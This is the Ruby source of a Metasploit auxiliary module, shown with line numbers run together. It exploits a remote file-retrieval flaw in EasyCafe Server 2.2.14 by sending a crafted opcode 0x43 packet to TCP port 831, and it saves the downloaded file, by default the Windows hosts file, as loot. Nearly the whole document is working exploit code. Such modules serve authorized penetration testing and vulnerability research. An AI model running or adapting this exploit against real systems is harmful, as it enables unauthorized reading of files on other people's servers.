Path: blob/master/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb
19642 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'EasyCafe Server Remote File Access',15'Description' => %q{16This module exploits a file retrieval vulnerability in17EasyCafe Server. The vulnerability can be triggered by18sending a specially crafted packet (opcode 0x43) to the19831/TCP port.20This module has been successfully tested on EasyCafe Server21version 2.2.14 (Trial mode and Demo mode) on Windows XP SP322and Windows 7 SP1.23Note that the server will throw a popup messagebox if the24specified file does not exist.25},26'License' => MSF_LICENSE,27'Author' => [28'R-73eN', # Vulnerability Discovery29'bcoles' # Metasploit module30],31'References' => [32[ 'EDB', '39102' ]33],34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39)40)4142register_options(43[44Opt::RPORT(831),45OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts'])46]47)48end4950def get_file51res = sock.get_once52unless res53print_error("Unable to retrieve file due to a timeout.")54return55end5657unless res.length == 26158print_error("Received a response of an invalid size.")59return60end6162file_size = res.unpack('@256V')[0]63contents = ''64while contents.length < file_size65contents << sock.get_once66end6768print_good("File retrieved successfully (#{contents.length} bytes)!")69contents70end7172def run_host(ip)73file_path = datastore['FILEPATH']74if file_path.length > 6775print_error("File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.")76return77end7879packet = "\x43"80packet << file_path81packet << "\x00" * (255 - file_path.length)82packet << "\x01\x00\x00\x00\x01"8384vprint_status("Sending request (#{packet.length} bytes)")85connect86sock.put(packet)8788contents = get_file89disconnect90return if contents.nil?9192path = store_loot(93'easycafe_server',94'application/octet-stream',95ip,96contents,97File.basename(file_path)98)99print_status("File saved in: #{path}")100end101end102103104